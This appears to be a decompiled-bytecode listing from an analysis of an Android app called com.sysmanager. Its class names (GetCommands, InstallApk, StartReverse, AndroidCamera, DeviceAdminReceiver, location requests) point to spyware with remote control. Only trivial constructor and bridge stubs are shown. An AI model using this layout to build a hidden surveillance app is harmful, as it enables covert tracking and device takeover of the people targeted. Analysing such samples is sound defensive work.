  • java.lang.Object.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidSystemService;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$4;->this$0:Lcom/sysmanager/system/AndroidSystemService;
4invoke-direct {p0}, Ljava/lang/Object;-><init>()V
5return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemService$IncomingHandler.<init>
Position Instruction Meta Information
0.param p1, "x0" # Lcom/sysmanager/system/AndroidSystemService;
1.param p2, "x1" # Lcom/sysmanager/system/AndroidSystemService$1;
2.prologue
4invoke-direct {p0, p1}, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;-><init>(Lcom/sysmanager/system/AndroidSystemService;)V
5return-void
Cross References
APIs
  • java.lang.Thread.<init>
Position Instruction Meta Information
0.param p1, "this$0" # Lcom/sysmanager/system/AndroidTouch;
1.prologue
2iput-object p1, p0, Lcom/sysmanager/system/AndroidTouch$1;->this$0:Lcom/sysmanager/system/AndroidTouch;
4invoke-direct {p0}, Ljava/lang/Thread;-><init>()V
5return-void
APIs
  • com.sysmanager.network.GetCommands.doInBackground
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/sysmanager/network/GetCommands;->doInBackground([Ljava/lang/Object;)Ljava/lang/Void;
3move-result-object v0
4return-object v0
APIs
  • com.sysmanager.network.InstallApk.doInBackground
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/sysmanager/network/InstallApk;->doInBackground([Ljava/lang/Object;)Ljava/lang/Void;
3move-result-object v0
4return-object v0
APIs
  • com.sysmanager.network.StartReverse.doInBackground
Position Instruction Meta Information
0.prologue
2invoke-virtual {p0, p1}, Lcom/sysmanager/network/StartReverse;->doInBackground([Ljava/lang/Object;)Ljava/lang/Void;
3move-result-object v0
4return-object v0
APIs
  • com.sysmanager.EnableLocationActivity.checkLocationSettings
Position Instruction Meta Information
0.param p1, "bundle" # Landroid/os/Bundle;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/EnableLocationActivity;->checkLocationSettings()V
4return-void
APIs
  • com.sysmanager.EnableLocationActivity.finish
Position Instruction Meta Information
0.param p1, "i" # I
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/EnableLocationActivity;->finish()V
4return-void
Cross References
APIs
  • com.sysmanager.system.AndroidAlarmManager.retryLater
Position Instruction Meta Information
0.param p0, "x0" # Lcom/sysmanager/system/AndroidAlarmManager;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/system/AndroidAlarmManager;->retryLater()V
4return-void
Cross References
APIs
  • com.sysmanager.system.AndroidCamera.releaseCam
Position Instruction Meta Information
0.param p0, "x0" # Lcom/sysmanager/system/AndroidCamera;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/system/AndroidCamera;->releaseCam()V
4return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemQueues.startLocationRequest
Position Instruction Meta Information
0.param p0, "x0" # Lcom/sysmanager/system/AndroidSystemQueues;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->startLocationRequest()V
4return-void
APIs
  • com.sysmanager.system.AndroidSystemQueues.startLocationRequest
Position Instruction Meta Information
0.param p1, "connectionHint" # Landroid/os/Bundle;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->startLocationRequest()V
4return-void
APIs
  • com.sysmanager.system.AndroidSystemQueues.stopSelf
Position Instruction Meta Information
0.param p1, "i" # I
1.prologue
3invoke-virtual {p0}, Lcom/sysmanager/system/AndroidSystemQueues;->stopSelf()V
4return-void
Cross References
APIs
  • android.os.Handler.<init>
Position Instruction Meta Information
0.prologue
1iput-object p1, p0, Lcom/sysmanager/system/AndroidSystemService$IncomingHandler;->this$0:Lcom/sysmanager/system/AndroidSystemService;
3invoke-direct {p0}, Landroid/os/Handler;-><init>()V
4return-void
Cross References
APIs
  • com.sysmanager.system.AndroidSystemService.checkFgApp
Position Instruction Meta Information
0.param p0, "x0" # Lcom/sysmanager/system/AndroidSystemService;
1.prologue
3invoke-direct {p0}, Lcom/sysmanager/system/AndroidSystemService;->checkFgApp()V
4return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
Cross References
APIs
  • android.os.AsyncTask.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/os/AsyncTask;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • com.google.firebase.iid.FirebaseInstanceIdService.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/google/firebase/iid/FirebaseInstanceIdService;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • android.app.Activity.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Activity;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • com.google.firebase.messaging.FirebaseMessagingService.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Lcom/google/firebase/messaging/FirebaseMessagingService;-><init>()V
3return-void
APIs
  • android.content.BroadcastReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Application.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Application;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onCreate
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onCreate()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.admin.DeviceAdminReceiver.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • android.app.Service.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/Service;->onDestroy()V
3return-void
APIs
  • android.app.IntentService.onDestroy
Position Instruction Meta Information
0.prologue
2invoke-super {p0}, Landroid/app/IntentService;->onDestroy()V
3return-void
APIs
  • java.lang.Object.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Ljava/lang/Object;-><init>()V
3return-void
APIs
  • android.app.Service.<init>
Position Instruction Meta Information
0.prologue
2invoke-direct {p0}, Landroid/app/Service;-><init>()V
3return-void